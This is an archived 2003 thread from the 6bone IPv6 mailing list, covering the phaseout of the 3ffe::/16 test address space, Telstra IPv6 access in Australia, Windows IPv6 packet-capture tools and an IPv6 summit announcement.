(last updated 2003/03/13 07:14:10)

Penned by Jonathan Guthrie on Wed, Mar 19, 2003 at 04:07:32PM -0600, we have:
| On Wed, Mar 19, 2003 at 01:25:12PM +0100, JORDI PALET MARTINEZ wrote:
| > > On Wed, Mar 19, 2003 at 10:35:08AM -0800, Bob Fink wrote:
|   
| > > > The 6bone phaseout proposal was discussed with a strong consensus reached 
| > > > on a pTLA allocation cutoff date of Jan 1, 2004 and a 6bone turn off date 
| > > > of June 6, 2006 (6/6/6).
|  
| > > I think it's insane to set a date for the end of the 6bone when there is
| > > no replacement for it in the USA.
| 
| > You will discover soon that this will change in the next few months ...
| 
| I doubt it, but if so then why not wait until then to set the date?  If,
| as everyone seems to think, that will happen before I finish typing this
| message, then you can still schedule it to be next January and look
| like geniuses.  If, as I think, that there still will be no way for my
| network to get native IPv6 on January 1 2004, then I'll have to have no
| IPv6 access.  The jury is still out on whether that hurts you more than
| it does me.
| -- 
| Jonathan Guthrie (jguthrie@brokersys.com)
| Sto pro veritate
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From old_mc_donald@hotmail.com Thu Mar 20 06:08:08 2003
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Subject: [6bone] Australia connection
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For those in AU who are interested I did manage to contact Geoff Huston at
Telstra and has put me in contact with one of his IPv6 team who is sorting
out connecting me up to them.

Regards,

Gav...


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From jeroen@unfix.org Thu Mar 20 08:35:54 2003
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To: "'Gav'" <old_mc_donald@hotmail.com>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Australia connection
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Gav wrote:

> For those in AU who are interested I did manage to contact 
> Geoff Huston at Telstra and has put me in contact with
> one of his IPv6 team who is sorting out connecting me up to them.

Cool, but if at all possible could you share the information
to the list, a URL at telstra for example would be great for
pointing people to it when they come here. Apparently it
will make a lot of people in the australian region quite happy.

Greets,
 Jeroen


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To: <todd@fries.net>, "'Jonathan Guthrie'" <jguthrie@brokersys.com>
Cc: "'JORDI PALET MARTINEZ'" <jordi.palet@consulintel.es>,
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Todd T. Fries wrote:

> As has been pointed out to me, v6 tunnels are available to 
> production address space.  The only thing we are really
> talking about is 'where do you get your IPv6 addresses from'.
> I've been using the 6bone for production for nearly two
> years now at my apartment.  I do not mind a bit moving to 
> production

Which is indeed another good point for 'ending' the 6bone:
'Playtime' (read: experimentation) is over and ISP's will
consider that it's now really ready for production.
And this has been proven by the 6bone.

Albeit in that respect I think one can really consider
the 6bone a great success. Many problems where found and
solved and a lot of operational experience has been gained.
And there are still 3 years left to gain more of that ;)

Greets,
 Jeroen


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Rob,

At 04:52 AM 3/20/2003 +0000, Rob Evans wrote:
> > What I had in mind when I made the comment at yesterday's meeting that Rob
> > was referring to, was simply a note to request that IANA not re-allocate
> > 3ffe until they *really* have to (i.e. there's nothing else left, or 
> 3ffe is
> > specifically useful for something).
>
>In the tradition of "send text," I was only thinking of something like
>the following:
>
>     When the 6bone address space is reclaimed and returned to the IANA,
>     it is expected that many network operators will filter it on their
>     borders to ensure it is not misused.
>
>     There is experience from the IPv4 world that such filters may not be
>     removed promptly should this address space be reallocated, and it is
>     recommended that the IANA bears this in mind before reallocating
>     it in a manner that would require it to be routed globally within
>     the current internet architecture.
>
>Is that contentious/disagreeable?  "[...] within the current internet
>architecture" may not be needed.

Thanks for the suggestion. I'll think on it.

Bob 


From dan@reeder.name Fri Mar 21 00:43:13 2003
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   <6bone@mailman.isi.edu>
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>Apparently it
> will make a lot of people in the australian region quite happy

here here!

dan

----- Original Message ----- 
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>; <6bone@mailman.isi.edu>
Sent: Friday, March 21, 2003 2:36 AM
Subject: RE: [6bone] Australia connection


> Gav wrote:
> 
> > For those in AU who are interested I did manage to contact 
> > Geoff Huston at Telstra and has put me in contact with
> > one of his IPv6 team who is sorting out connecting me up to them.
> 
> Cool, but if at all possible could you share the information
> to the list, a URL at telstra for example would be great for
> pointing people to it when they come here. Apparently it
> will make a lot of people in the australian region quite happy.
> 
> Greets,
>  Jeroen
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From old_mc_donald@hotmail.com Fri Mar 21 02:26:20 2003
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Hi Guys,

Yes I was waiting for confirmation from Telstra before releasing any
details.

The guy to speak to is Stephan Millet from Telstra Internet Networking
Development

Below is a copy of the email he has sent me, hopefully he will include the
6bone list when releasing more details but I will forward a copy of any more
info I receive.

Michael , Telstra as a 6Bone provider :0)

Hope this helps:-


----------------------------------------------------------------------------
------------------------------

Gav,

Thanks for your inquiry. I am just putting the final touches on our IPv6 web
pages etc which will provide all the info you require including application
forms, I will release the URL to yourself and the General AU community soon
(early next week all going well)

Could you also please email me using my IPv6 role address as I run some
pretty aggresive spam filters and wouldn't want to miss any emails from the
general AU IPv6 community.

email me using : ipv6-trial@telstra.net

Speak to you soon

Cheers

--
Stephan Millet
Telstra Internet Networking Development

----------------------------------------------------------------------------
------------------------------------

PS- there was no doubt that I was going to share this information, why would
I mention it in the first place otherwise :0)

I know a fair few in AU who need this including Dan etc and was the main
reason for my pushing this, I have no idea however whether this was going to
be released this early (!) anyway but hope it helps.

Gav....


---
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From bmanning@ISI.EDU Sat Mar 22 03:13:02 2003
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Subject: Re: [6bone] report of 6bone planning BOF
In-Reply-To: <20030319220732.GA2067@brokersys.com> from Jonathan Guthrie at "Mar 19, 3 04:07:32 pm"
To: jguthrie@brokersys.com (Jonathan Guthrie)
Date: Sat, 22 Mar 2003 03:12:49 -0800 (PST)
Cc: jordi.palet@consulintel.es, 6bone@ISI.EDU
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% Jonathan Guthrie (jguthrie@brokersys.com)

	It may be prudent to reflect on confusing mail here.
	"Shutting down the 6bone"  is a misnomer.  Perhaps more
	correctly put, "no more delegations in 3ffe::/16"
	coupled with a recommendation for ISP types to consider
	filtering 3ffe:: on their edges.

	If you are using 3ffe space now, talk to whomever delegated
	you that space and they should be able to give you 2001::
	equivalents.  

	Tunnels will still work and be used extensively. Their might
	be a few more native IPv6 transit providers.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From basit@basit.cc Sat Mar 22 06:48:41 2003
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Hmm so what advantage will we get in not using 3ffe::/16 space
and still using tunnels, just with address change to 2001::/16

We could say that after this amount of time 3ffe::/16 space will be
used for production also and your delegation will still work.
and ISP be able to provide 3ffe:: space also as well as 2001:: ?

-- basit


On Sat, 22 Mar 2003, Bill Manning wrote:

> % Jonathan Guthrie (jguthrie@brokersys.com)
>
> 	It may be prudent to reflect on confusing mail here.
> 	"Shutting down the 6bone"  is a misnomer.  Perhaps more
> 	correctly put, "no more delegations in 3ffe::/16"
> 	coupled with a recommendation for ISP types to consider
> 	filtering 3ffe:: on their edges.
>
> 	If you are using 3ffe space now, talk to whomever delegated
> 	you that space and they should be able to give you 2001::
> 	equivalents.
>
> 	Tunnels will still work and be used extensively. Their might
> 	be a few more native IPv6 transit providers.
>
>
> --bill
> Opinions expressed may not even be mine by the time you read them, and
> certainly don't reflect those of any other entity (legal or otherwise).
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From tbegin@tf1.fr Wed Mar 26 03:45:57 2003
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Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas



From anil.bhaskar@wipro.com Wed Mar 26 05:34:10 2003
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Try ethereal at www.ethereal.com with winpcap2.3 onwards. Now WinPCap3.0
is also available at
http://winpcap.polito.it/install/bin/WinPcap_3_0_a.exe 
Step to install Ethereal:
Install first WinPCap and then install Ethereal. Enjoy.

Thanks and Best Regards,
Anil B.
*************************************
Manager-Talent Transformation
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
Board No: +91-80-8520408-Ext: 5438
Direct No: +91-80-8528778
VOIP: 808 5438
Mob: 9844003364
************************************* 

-----Original Message-----
From: BEGIN, Thomas [mailto:tbegin@tf1.fr] 
Sent: Wednesday, March 26, 2003 4:46 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server
2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas


_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

**************************Disclaimer************************************

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'privileged' and 'confidential' and intended for use only by the individual
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From danne@wiberg.nu Wed Mar 26 06:00:04 2003
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Ethereal (www.ethereal.com) should work.

//danne

-- 
Daniel Wiberg
www.wiberg.nu


BEGIN, Thomas wrote:

>Hello,
>I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
>The default one doesn't exactly fit with my requirements.
>Thanks for giving me some names or addresses.
>
>- Thomas
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>




From basit@basit.cc Wed Mar 26 07:02:08 2003
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http://www.ethereal.com/introduction.html#features

Its for windows also, btw what is windows server 2003 ?

- basit

On Wed, 26 Mar 2003, BEGIN, Thomas wrote:

> Hello,
> I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
> The default one doesn't exactly fit with my requirements.
> Thanks for giving me some names or addresses.
>
> - Thomas
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From old_mc_donald@hotmail.com Wed Mar 26 07:22:14 2003
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| 
| Its for windows also, btw what is windows server 2003 ?
| 

Thats the beta version of Windows .NET Server.

Gav...


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From jeroen@unfix.org Wed Mar 26 16:10:41 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>
Date: Thu, 27 Mar 2003 01:11:31 +0100
Organization: Unfix
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Subject: [6bone] 3ffe:1f00::/24 ghost route disappeared
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I am pleased to announce that after a complete month
the 3ffe:1f00::/24 ghost route disappeared.

The first sighting was at : 2003-02-26 11:17 (*1)
this continued until      : 2003-03-26 20:22 (*2)

I would like to thank the invisible powers that be for
doing the cleanup.

Notez bien that 3ffe:1f00::/24 doesn't have a route entry
in the DFZ anymore and will show up as unavailable in 24 hours
after this timemark in the TLA visiblity section (*3)

Currently unavailable in 6bone space:
 3ffe:0e00::/24 - IFB/GB
 3ffe:2300::/24 - INFN-CNAF/IT
 3ffe:400e::/32 - ECITY/IT
 3ffe:4015::/32 - HP
 3ffe:82e0::/28 - LDCOM/FR

Which is a not a bad scoring (133/138) compared to
APNIC (71/101), RIPE (121/177), ARIN (28/57).
This does make 353 out of 473 TLA's reachable.

Greets,
 Jeroen

*1 =
http://www.sixxs.net/tools/grh/ghosts/?year=2003&month=02&day=26&time=11
1701
*2 =
http://www.sixxs.net/tools/grh/ghosts/?year=2003&month=03&day=26&time=20
2200
*3 = http://www.sixxs.net/tools/grh/tla/6bone/


From tbegin@tf1.fr Thu Mar 27 00:27:26 2003
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I tried with it (Ethereal)
But it looks like it doesn't catch IPv6's packets...
However options in the software show that IPv should be taken on.
Does anybody have tried to use it on a windows computer ?

-Thomas

-----Message d'origine-----
De : 6bone-request@mailman.isi.edu
[mailto:6bone-request@mailman.isi.edu]
Envoyé : mercredi 26 mars 2003 21:05
À : 6bone@mailman.isi.edu
Objet : 6bone digest, Vol 1 #302 - 5 msgs


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Today's Topics:

   1. ipv6 traffic analyzer for windows (BEGIN, Thomas)
   2. RE: ipv6 traffic analyzer for windows (Anil Bhaskarwar)
   3. Re: ipv6 traffic analyzer for windows (Daniel Wiberg)
   4. Re: ipv6 traffic analyzer for windows (Abdul Basit)
   5. Re: ipv6 traffic analyzer for windows (Gav)

--__--__--

Message: 1
Date: Wed, 26 Mar 2003 12:45:43 +0100
From: "BEGIN, Thomas" <tbegin@tf1.fr>
To: <6bone@mailman.isi.edu>
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas



--__--__--

Message: 2
Subject: RE: [6bone] ipv6 traffic analyzer for windows
Date: Wed, 26 Mar 2003 19:03:58 +0530
From: "Anil Bhaskarwar" <anil.bhaskar@wipro.com>
To: "BEGIN, Thomas" <tbegin@tf1.fr>, <6bone@mailman.isi.edu>


Try ethereal at www.ethereal.com with winpcap2.3 onwards. Now WinPCap3.0
is also available at
http://winpcap.polito.it/install/bin/WinPcap_3_0_a.exe 
Step to install Ethereal:
Install first WinPCap and then install Ethereal. Enjoy.

Thanks and Best Regards,
Anil B.
*************************************
Manager-Talent Transformation
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
Board No: +91-80-8520408-Ext: 5438
Direct No: +91-80-8528778
VOIP: 808 5438
Mob: 9844003364
************************************* 

-----Original Message-----
From: BEGIN, Thomas [mailto:tbegin@tf1.fr] 
Sent: Wednesday, March 26, 2003 4:46 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server
2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas


_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

**************************Disclaimer************************************

Information contained in this E-MAIL being proprietary to Wipro Limited is 
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***************************************************************************

--__--__--

Message: 3
Date: Wed, 26 Mar 2003 14:59:54 +0100
From: Daniel Wiberg <danne@wiberg.nu>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
CC: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 traffic analyzer for windows

Ethereal (www.ethereal.com) should work.

//danne

-- 
Daniel Wiberg
www.wiberg.nu


BEGIN, Thomas wrote:

>Hello,
>I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
>The default one doesn't exactly fit with my requirements.
>Thanks for giving me some names or addresses.
>
>- Thomas
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>




--__--__--

Message: 4
Date: Wed, 26 Mar 2003 15:00:55 +0000 (GMT)
From: Abdul Basit <basit@basit.cc>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 traffic analyzer for windows


http://www.ethereal.com/introduction.html#features

Its for windows also, btw what is windows server 2003 ?

- basit

On Wed, 26 Mar 2003, BEGIN, Thomas wrote:

> Hello,
> I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
> The default one doesn't exactly fit with my requirements.
> Thanks for giving me some names or addresses.
>
> - Thomas
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

--__--__--

Message: 5
From: "Gav" <old_mc_donald@hotmail.com>
To: "Abdul Basit" <basit@basit.cc>
Cc: <6bone@mailman.isi.edu>
Subject: Re: [6bone] ipv6 traffic analyzer for windows
Date: Wed, 26 Mar 2003 23:21:48 +0800


| 
| Its for windows also, btw what is windows server 2003 ?
| 

Thats the beta version of Windows .NET Server.

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.465 / Virus Database: 263 - Release Date: 25/03/2003


--__--__--

_______________________________________________
6bone mailing list
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http://mailman.isi.edu/mailman/listinfo/6bone


End of 6bone Digest

From anil.bhaskar@wipro.com Thu Mar 27 05:32:11 2003
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Subject: RE: [6bone] RE: 6bone digest, Vol 1 #302 - 5 msgs
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From: "Anil Bhaskarwar" <anil.bhaskar@wipro.com>
To: "BEGIN, Thomas" <tbegin@tf1.fr>, <6bone@mailman.isi.edu>
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Dear Thomas,
Please follow the procedure that I told yesterday, U may have to search the correct file (for windows) in the ethereal web site. I am using the same in .NET server and it is working fine for me.
I downloaded from the site http://www.ethereal.com/distribution/win32/, there U will also get the ReadMe.

Thanks and Best Regards,
Anil B.
*************************************
Manager-Talent Transformation
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
************************************* 

-----Original Message-----
From: BEGIN, Thomas [mailto:tbegin@tf1.fr] 
Sent: Thursday, March 27, 2003 1:27 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] RE: 6bone digest, Vol 1 #302 - 5 msgs

I tried with it (Ethereal)
But it looks like it doesn't catch IPv6's packets...
However options in the software show that IPv should be taken on.
Does anybody have tried to use it on a windows computer ?

-Thomas

-----Message d'origine-----
De : 6bone-request@mailman.isi.edu
[mailto:6bone-request@mailman.isi.edu]
Envoyé : mercredi 26 mars 2003 21:05
À : 6bone@mailman.isi.edu
Objet : 6bone digest, Vol 1 #302 - 5 msgs


Send 6bone mailing list submissions to
	6bone@mailman.isi.edu

To subscribe or unsubscribe via the World Wide Web, visit
	http://mailman.isi.edu/mailman/listinfo/6bone
or, via email, send a message with subject or body 'help' to
	6bone-request@mailman.isi.edu

You can reach the person managing the list at
	6bone-admin@mailman.isi.edu

When replying, please edit your Subject line so it is more specific
than "Re: Contents of 6bone digest..."


Today's Topics:

   1. ipv6 traffic analyzer for windows (BEGIN, Thomas)
   2. RE: ipv6 traffic analyzer for windows (Anil Bhaskarwar)
   3. Re: ipv6 traffic analyzer for windows (Daniel Wiberg)
   4. Re: ipv6 traffic analyzer for windows (Abdul Basit)
   5. Re: ipv6 traffic analyzer for windows (Gav)

--__--__--

Message: 1
Date: Wed, 26 Mar 2003 12:45:43 +0100
From: "BEGIN, Thomas" <tbegin@tf1.fr>
To: <6bone@mailman.isi.edu>
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas



--__--__--

Message: 2
Subject: RE: [6bone] ipv6 traffic analyzer for windows
Date: Wed, 26 Mar 2003 19:03:58 +0530
From: "Anil Bhaskarwar" <anil.bhaskar@wipro.com>
To: "BEGIN, Thomas" <tbegin@tf1.fr>, <6bone@mailman.isi.edu>


Try ethereal at www.ethereal.com with winpcap2.3 onwards. Now WinPCap3.0
is also available at
http://winpcap.polito.it/install/bin/WinPcap_3_0_a.exe 
Step to install Ethereal:
Install first WinPCap and then install Ethereal. Enjoy.

Thanks and Best Regards,
Anil B.
*************************************
Manager-Talent Transformation
Mezzanine Floor, Floating Learning Centre,
Wipro Tech.
Electronics City-2 
Board No: +91-80-8520408-Ext: 5438
Direct No: +91-80-8528778
VOIP: 808 5438
Mob: 9844003364
************************************* 

-----Original Message-----
From: BEGIN, Thomas [mailto:tbegin@tf1.fr] 
Sent: Wednesday, March 26, 2003 4:46 PM
To: 6bone@mailman.isi.edu
Subject: [6bone] ipv6 traffic analyzer for windows

Hello,
I' m looking for a ipv6 traffic analyzer that woks on windows server
2003.
The default one doesn't exactly fit with my requirements.
Thanks for giving me some names or addresses.

- Thomas


_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

**************************Disclaimer************************************

Information contained in this E-MAIL being proprietary to Wipro Limited is 
'privileged' and 'confidential' and intended for use only by the individual
 or entity to which it is addressed. You are notified that any use, copying 
or dissemination of the information contained in the E-MAIL in any manner 
whatsoever is strictly prohibited.

***************************************************************************

--__--__--

Message: 3
Date: Wed, 26 Mar 2003 14:59:54 +0100
From: Daniel Wiberg <danne@wiberg.nu>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
CC: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 traffic analyzer for windows

Ethereal (www.ethereal.com) should work.

//danne

-- 
Daniel Wiberg
www.wiberg.nu


BEGIN, Thomas wrote:

>Hello,
>I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
>The default one doesn't exactly fit with my requirements.
>Thanks for giving me some names or addresses.
>
>- Thomas
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>  
>




--__--__--

Message: 4
Date: Wed, 26 Mar 2003 15:00:55 +0000 (GMT)
From: Abdul Basit <basit@basit.cc>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 traffic analyzer for windows


http://www.ethereal.com/introduction.html#features

Its for windows also, btw what is windows server 2003 ?

- basit

On Wed, 26 Mar 2003, BEGIN, Thomas wrote:

> Hello,
> I' m looking for a ipv6 traffic analyzer that woks on windows server 2003.
> The default one doesn't exactly fit with my requirements.
> Thanks for giving me some names or addresses.
>
> - Thomas
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

--__--__--

Message: 5
From: "Gav" <old_mc_donald@hotmail.com>
To: "Abdul Basit" <basit@basit.cc>
Cc: <6bone@mailman.isi.edu>
Subject: Re: [6bone] ipv6 traffic analyzer for windows
Date: Wed, 26 Mar 2003 23:21:48 +0800


| 
| Its for windows also, btw what is windows server 2003 ?
| 

Thats the beta version of Windows .NET Server.

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.465 / Virus Database: 263 - Release Date: 25/03/2003


--__--__--

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


End of 6bone Digest
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

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 or entity to which it is addressed. You are notified that any use, copying 
or dissemination of the information contained in the E-MAIL in any manner 
whatsoever is strictly prohibited.

***************************************************************************

From jordi.palet@consulintel.es Sat Mar 29 04:21:17 2003
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Hi all,

In case you still not noticed, the next major IPv6 Summit in Europe will =
take place in Madrid (May 12-14th). This is the bigger European IPv6 =
Forum event, and probably the bigger international one. You can't miss =
it !

See http://www.ipv6-es.com; register now and take advantage of the early =
registration offer.

A lot of surprises will be discovered, including the Award Ceremony of =
the IPv6 Appli-Contest 2003 (if you want to participate see =
http://www.v6pc.jp/apc/en/index.html).

Regards,
Jordi




Almost a hundred projects are demonstrating that IPv6 is working well. =
The European Union=92s expectations regarding the new protocol, in order =
to support its leadership as a future economic power, are becoming real. =
The "Madrid 2003 Global IPv6 Summit" is the major European event of the =
year where you can learn of the latest developments in IPv6 standards =
and deployment.=20

For the third consecutive year we invite you to participate in this key =
event about Internet developments. You have a unique opportunity to =
discover more about the evolution of the Internet to deliver new =
applications and services. 


*****************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Register at:
http://www.ipv6-es.com

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<DIV><FONT face=3DArial size=3D2>Hi all,<BR><BR>In case you still not =
noticed, the=20
next major IPv6 Summit in Europe will take place in Madrid (May =
12-14th). This=20
is the bigger European IPv6 Forum event, and probably the bigger =
international=20
one. You can't miss it !<BR><BR>See <A=20
href=3D"http://www.ipv6-es.com">http://www.ipv6-es.com</A>; register now =
and take=20
advantage of the early registration offer.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>A lot of surprises will be discovered, =
including=20
the Award Ceremony of the IPv6 Appli-Contest 2003 (if you want to =
participate=20
see <A=20
href=3D"http://www.v6pc.jp/apc/en/index.html">http://www.v6pc.jp/apc/en/i=
ndex.html</A>).<BR><BR>Regards,<BR>Jordi<BR><BR></DIV></FONT>
<DIV align=3Dcenter><A href=3D"http://www.ipv6-es.com"><FONT =
face=3DArial size=3D2><IMG=20
alt=3Dhttp://www.ipv6-es.com/=20
src=3D"http://www.ipv6-es.com/03/images/logocentral.jpg"=20
border=3D0></FONT></A></DIV><BR><FONT face=3DArial size=3D2>Almost a =
hundred projects=20
are demonstrating that IPv6 is working well. The European Union=92s =
expectations=20
regarding the new protocol, in order to support its leadership as a =
future=20
economic power, are becoming real. The "Madrid 2003 Global IPv6 Summit" =
is the=20
major European event of the year where you can learn of the latest =
developments=20
in IPv6 standards and deployment. <BR><BR>For the third consecutive year =
we=20
invite you to participate in this key event about Internet developments. =
You=20
have a unique opportunity to discover more about the evolution of the =
Internet=20
to deliver new applications and services.</FONT> </BODY></HTML>


<html>
<br>
<br>
*****************************<br>
Madrid 2003 Global IPv6 Summit<br>
12-14 May 2003 - Register at:<br>
http://www.ipv6-es.com</html>

------=_NextPart_000_00C5_01C2F5F6.38D04B50--


From dan@reeder.name Sat Mar 29 22:29:35 2003
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From: "Dan Reeder" <dan@reeder.name>
To: <6bone@ISI.EDU>
Date: Sun, 30 Mar 2003 16:29:19 +1000
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Subject: [6bone] v6 on slashdot
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From today's Slashdot.org....
ar32h writes "The 6bone is going to be phased out soon. This means all =
of us who have IP addresses or subnets beginning with 3ffe from tunnel =
brokers like Freenet6 are going to be sorry out of luck." According to =
the linked phaseout plan, "It is anticipated that under this phaseout =
plan the 6bone will cease to operate by July 1, 2006, with all 6bone =
prefixes fully reclaimed by the IANA," but there are a number of =
sub-deadlines along the way.=20

I don't know what to make of this... I can't help but feel that, without =
further public education (eg incite riots outside rir offices), the =
public non-nerdy perception of the whole IPv6 scene and technology is =
(was) nothing but a '.com gimmick'.

dan


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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1141" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#d0d7dd>
<DIV><FONT face=3DArial size=3D2>From today's =
Slashdot.org....</FONT></DIV>
<DIV><A href=3D"http://slashdot.org/~ar32h/">ar32h</A> writes <I>"The <A =

href=3D"http://www.6bone.net/">6bone</A> is going to be <A=20
href=3D"http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-00.=
txt">phased=20
out</A> soon. This means all of us who have IP addresses or subnets =
beginning=20
with 3ffe from tunnel brokers like <A=20
href=3D"http://www.freenet6.net/">Freenet6</A> are going to be sorry out =
of=20
luck."</I> According to the linked phaseout plan, "It is anticipated =
that under=20
this phaseout plan the 6bone will cease to operate by July 1, 2006, with =
all=20
6bone prefixes fully reclaimed by the IANA," but there are a number of=20
sub-deadlines along the way. </DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I don't know what to make of this... I =
can't help=20
but feel that, without further public education (eg incite riots=20
outside&nbsp;rir offices), the public non-nerdy perception of the whole =
IPv6=20
scene and technology is (was) nothing but a '.com gimmick'.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>dan</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

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From cfaber@fpsn.net Sun Mar 30 17:04:44 2003
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Date: Sun, 30 Mar 2003 18:03:41 -0700
From: Colin Faber <cfaber@fpsn.net>
Organization: fpsn.net, Inc.
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<sarcasm>
Heh, Clearly these people are more on top of these than the 6bone
group. I guess I should stop reading the 6bone list and pay more
attention to slashdon't for all my IPv6 6bone related information from
now on :-)
</sarcasm>


> Dan Reeder wrote:
> 
> From today's Slashdot.org....
> ar32h writes "The 6bone is going to be phased out soon. This means all
> of us who have IP addresses or subnets beginning with 3ffe from tunnel
> brokers like Freenet6 are going to be sorry out of luck." According to
> the linked phaseout plan, "It is anticipated that under this phaseout
> plan the 6bone will cease to operate by July 1, 2006, with all 6bone
> prefixes fully reclaimed by the IANA," but there are a number of
> sub-deadlines along the way.
> 
> I don't know what to make of this... I can't help but feel that,
> without further public education (eg incite riots outside rir
> offices), the public non-nerdy perception of the whole IPv6 scene and
> technology is (was) nothing but a '.com gimmick'.
> 
> dan
> 
> 

-- 
Colin Faber
(303) 859-1491
fpsn.net, Inc.
* Black holes are where God divided by zero. *

From dan@reeder.name Sun Mar 30 19:07:26 2003
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From: "Dan Reeder" <dan@reeder.name>
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Subject: Re: [6bone] v6 on slashdot
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But they more accurately represent the internet community Colin.
Sure, WE know that the phase out of the 6bone would be infact quite
beneficial (atleast in theory) to the ipv6 movement. But they dont. They can
(and are) very easily see it as the demise of IPv6 as a viable technology.
The same thing happened when microsoft decided not to offer their java vm
anymore... folks thought that java was doomed.

dan


----- Original Message -----
From: "Colin Faber" <cfaber@fpsn.net>
To: "Dan Reeder" <dan@reeder.name>
Cc: <6bone@ISI.EDU>
Sent: Monday, March 31, 2003 11:03 AM
Subject: Re: [6bone] v6 on slashdot


> <sarcasm>
> Heh, Clearly these people are more on top of these than the 6bone
> group. I guess I should stop reading the 6bone list and pay more
> attention to slashdon't for all my IPv6 6bone related information from
> now on :-)
> </sarcasm>
>
>
> > Dan Reeder wrote:
> >
> > From today's Slashdot.org....
> > ar32h writes "The 6bone is going to be phased out soon. This means all
> > of us who have IP addresses or subnets beginning with 3ffe from tunnel
> > brokers like Freenet6 are going to be sorry out of luck." According to
> > the linked phaseout plan, "It is anticipated that under this phaseout
> > plan the 6bone will cease to operate by July 1, 2006, with all 6bone
> > prefixes fully reclaimed by the IANA," but there are a number of
> > sub-deadlines along the way.
> >
> > I don't know what to make of this... I can't help but feel that,
> > without further public education (eg incite riots outside rir
> > offices), the public non-nerdy perception of the whole IPv6 scene and
> > technology is (was) nothing but a '.com gimmick'.
> >
> > dan
> >
> >
>
> --
> Colin Faber
> (303) 859-1491
> fpsn.net, Inc.
> * Black holes are where God divided by zero. *
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
